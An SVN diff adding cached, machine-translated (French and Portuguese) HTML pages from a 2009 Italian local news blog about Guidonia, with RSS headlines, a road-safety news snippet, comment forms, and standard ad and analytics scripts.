+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6295' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6295&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6295&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6295&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6295&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6295&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6295&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6295&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6295&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6295&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6295&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6295&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6295&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6295&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="S&#39;abonner Ã  ce contenu"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6295&lang=fr" >Fast News Blog</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): viols,</a> de <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">mesure ou de Â«comble</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - La ligne de chemin de fer de la &quot;outcastes&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/#39;ASL Roma de G qui se rapportent Ã  la commune de Monterotondo, Guidonia, Tivoli, Subiaco, Palestrina, Colleferro comporte une section consacrÃ©e Ã  la prÃ©vention et la sÃ©curitÃ© au travail dans Via Tenuta del Cavaliere n.1. L&#39;article traite du phÃ©nomÃšne des accidents, des maladies professionnelles et l&#39;Ã©ducation Ã  la santÃ© entre les i. .. Tags: tivoli collefe Subiaco Monterotondo [...]"">ASL Roma G:</a> la <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/#39;ASL Roma de G qui se rapportent Ã  la commune de Monterotondo, Guidonia, Tivoli, Subiaco, Palestrina, Colleferro comporte une section consacrÃ©e Ã  la prÃ©vention et la sÃ©curitÃ© au travail dans Via Tenuta del Cavaliere n.1. L&#39;article traite du phÃ©nomÃšne des accidents, des maladies professionnelles et l&#39;Ã©ducation Ã  la santÃ© entre les i. .. Tags: tivoli collefe Subiaco Monterotondo [...]"">prÃ©vention et la sÃ©curitÃ© au travail</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html#39;il Ã©tait sur le mont Morra, dans le parc des monts Lucretili, non loin de la ville de San Polo dei Cavalieri, prÃšs de Rome. La femme, un barman, Ã©tait en compagnie d&#39;un ami, un commerÃ§ant de 50 ans, nÃ© Ã  Guidonia. Ã environ 19 les deux ... Tags: Guidonia carabiniers lazio roma [...]"">Une femme tuÃ©e par la foudre dans la rÃ©gion du Latium</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;en onda &quot;L&#39;Aquila, des maisons sans ciment. Voici la preuve. &quot; Le dÃ©tachement, Enzo Cappucci, ont creusÃ© dans les dÃ©combres dans la rÃ©gion des Abruzzes et a trouvÃ© des preuves de la lÃ©gÃšretÃ©, l&#39;absence de contrÃŽles, la nÃ©gligence criminelle avec laquelle de nombreuses maisons ont Ã©tÃ© construites. Le ... Tags: enzo casquettes abruzzo RaiNews24 rai roma un [...]"">Rai sur le ciment</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;dans onda&#39;&#39;L&#39;Aquila, des maisons sans ciment. Voici la preuve&#39;&#39;. L&#39;envoyÃ© de Rainews24, Enzo Cappucci, ont creusÃ© dans les dÃ©combres dans la rÃ©gion des Abruzzes et a trouvÃ© des preuves de la lÃ©gÃšretÃ©, l&#39;absence de contrÃŽles, la nÃ©gligence criminelle avec laquelle de nombreuses maisons ont Ã©tÃ© ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle,</a> des <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;dans onda&#39;&#39;L&#39;Aquila, des maisons sans ciment. Voici la preuve&#39;&#39;. L&#39;envoyÃ© de Rainews24, Enzo Cappucci, ont creusÃ© dans les dÃ©combres dans la rÃ©gion des Abruzzes et a trouvÃ© des preuves de la lÃ©gÃšretÃ©, l&#39;absence de contrÃŽles, la nÃ©gligence criminelle avec laquelle de nombreuses maisons ont Ã©tÃ© ... Tags: [...]"">maisons sans ciment&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html#39;antiquitÃ©s de valeur sur le marchÃ© de San Benedetto del Tronto, ont Ã©tÃ© attaquÃ©s et dÃ©valisÃ©s dans le hall, la salle par une bande composÃ©e de quatre hommes, l&#39;un d&#39;eux armÃ© d&#39;un pistolet. Le butin s&#39;Ã©levait Ã  environ 100 milliers d&#39;euros et personne n&#39;a Ã©tÃ© blessÃ©. I. .. Tags: guido Ascoli Piceno roma [...]"">ArmÃ© d&#39;un pistolet d&#39;antiquitÃ©s volÃ©s Ã  l&#39;hÃŽtel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/#39;abonner Ã  la sÃ©rie de championnat rÃ©gional C2, la deuxiÃšme sortie officielle de Mai 16. Non ... Tags: FIGC officiels Olimp culture [...]"">En Juillet 23 abonnements rÃ©gionaux C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">La gestion de la douleur post-opÃ©ratoire gagne Â»et le rock &#39;stretch&#39; e. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/#39;indignation pathÃ©tique de la mort des pauvres Eluana) Ã©tait inÃ©vitable retour de flamme et d&#39;Ã©paisseur habituelle de la congrÃ©gation des citoyens qui, au nom de ... Tags: ange traquer Izzo capodanno Colosses [...]"">Les femmes et la dÃ©mocratie.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/#39;indignation pathÃ©tique de la mort des pauvres Eluana) Ã©tait inÃ©vitable retour de flamme et d&#39;Ã©paisseur habituelle de la congrÃ©gation des citoyens qui, au nom de ... Tags: ange traquer Izzo capodanno Colosses [...]"">La peur, le mensonge et Â«mytheÂ».</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;indignation pathÃ©tique de la mort des pauvres Eluana) Ã©tait inÃ©vitable retour de flamme et d&#39;Ã©paisseur habituelle de la congrÃ©gation des citoyens qui, au nom de la Â«populaceÂ» exige ... Tags: pouvoir Circeo accueil expositions donatella avec [...]"">Les femmes et la dÃ©mocratie.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141#39;indignation pathÃ©tique de la mort des pauvres Eluana) Ã©tait inÃ©vitable retour de flamme et d&#39;Ã©paisseur habituelle de la congrÃ©gation des citoyens qui, au nom de la Â«populaceÂ» exige ... Tags: pouvoir Circeo accueil expositions donatella avec [...]"">La peur, le mensonge et Â«mytheÂ»</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformers premiÃšres, le jeudi 25 Juin au cinÃ©ma</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html#39;explication habituelle du rite, est maintenant officiellement une nouvelle note de ... Tags: luca gÃ©nois Fusco Rozzano tommaso bern [...]"">Salernitana: Diesse Acri, Fabiani digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra#39;alliance avec l&#39;UDC Ã  Rieti a remboursÃ© le centre, ce qui confirme Fabio Melilli; Frosinone au lieu de centre-droit a remportÃ© d&#39;Antonello Iannarilli. Comme pour les villes de la province de Rome est allÃ© Ã  la tour de scrutin, i. .. Tags: Ilaria Bencivenni antonello iannaril [...]"">Les Ã©lections, et Ã  New Source Guidonia centre</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=fr" >GuidoniaPuntoNet (en cours).</a> Lien: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Ãlections en ligne</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistics" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistics"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 2.066 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 10:11:20 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/pt/_wp__p=6286&lang=pt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/pt/_wp__p=6286&lang=pt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/pt/_wp__p=6286&lang=pt	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6286 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Guidonia: PAGANO, UDC INSTA ESTRADAS EM RISCO MAPEAMENTO - IRIS Imprensa - National News Agency - GuidoniaPuntoNet (em andamento) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (em andamento) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6286&rurl=translate.google.com&lang=it&usg=ALkJrhiCYGEKkLnpsrh5bOHkPg2iOWkz1g" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="padrÃ£o" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="rosa" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="verde" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="roxo" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="vermelho" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="azul" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (em andamento) &quot;Guidonia: PAGANO, UDC INSTA ESTRADAS EM RISCO MAPEAMENTO - IRIS Imprensa - National News Agency ComentÃ¡rios Feed" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (em andamento)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia na WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="Guardia di Finanza. A apreensÃ£o de capital de 3 milhÃµes de unidades ... - O Oeste" href=http://www.guidonia.net/wp/?p=6289 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=pt" >GuidoniaPuntoNet (em andamento)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=pt" >InÃ­cio</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=pt" >Sobre</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=pt" >Contactos</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="pesquisa" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6286><h2> <span  > <a href="http://www.guidonia.net/wp?p=6286&lang=pt" >Guidonia: PAGANO, UDC INSTA ESTRADAS EM RISCO MAPEAMENTO - IRIS Imprensa - National News Agency</a></span> </h2><p class=meta-header> <span  > Recebido em 04 de Julho de 2009, em <a href="http://www.guidonia.net/wp?cat=1&lang=pt" >Guidonia NotÃ­cias</a> por admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh> <span  > <b><a href="http://news.google.com/news/url?Art=45200&Cat=1&Codi_Cate_Arti=24&I=null&IdTipo=0&TitoloBlocco=Enti%20Locali&fd=R&sa=T&url=http://www.irispress.it/Iris/page.asp?VisImg=S&usg=AFQjCNFblZTn_vUfH65NlLq7U6bnUoVGvA">Guidonia: PAGANO, UDC INSTA ESTRADAS EM RISCO MAPEAMENTO</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>IRIS Imprensa - National News Agency</b></font></font></span> <br /> <span  > <font size=-1>(IRIS) - <b>Guidonia Montecelio,</b> 4 LUG - &quot;Uma das prioridades a tratar com a devida urgÃªncia, Ã© o da seguranÃ§a rodoviÃ¡ria. Eles sÃ£o tambÃ©m muitos acidentes <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=deS6TQ9RkXlJg2M"><font class=p size=-1><b>mais Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Deixe uma resposta</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6286#respond style=display:none;&lang=pt" ><small>Clique para cancelar a resposta.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Nome (requerido)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (nÃ£o serÃ¡ publicado) (requerido)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Website</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>ComentÃ¡rios</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Enviar comentÃ¡rio" class=box /><input type=hidden name=comment_post_ID value=6286 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Azul</a> <a href="http://www.guidonia.net/">Rosa</a> <a href="http://www.guidonia.net/">Verde</a> <a href="http://www.guidonia.net/">Roxo</a> <a href="http://www.guidonia.net/">Vermelho</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: idÃ©ias para a web</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>Ideias em busca de financiamento: <a href=mailto:info@guidonia.net>entre em contato conosco</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > VocÃª pode ficar LÃ­ngua original atravÃ©s do <a href="http://www.guidonia.net/wp?feed=rss2&lang=pt" >feed RSS.</a></span> </div><div class=col><div class=box><h3> <span  > Videos sobre Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=pt" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTRO, ad.</span> <span  > Viale Roma EstaÃ§Ã£o FerroviÃ¡ria e ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=pt" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Palavras e Sons Dias - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > PedaÃ§os do lendÃ¡rio concerto de uma Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=pt" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > PedaÃ§os do lendÃ¡rio concerto de uma Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=pt" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - The Meaning of Everything Is - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/1.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > PedaÃ§os do lendÃ¡rio concerto de uma Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6286# onclick=&lang=pt" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Non ImportaÃ§Ã£o - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > PedaÃ§os do lendÃ¡rio concerto de uma Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Classifieds</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
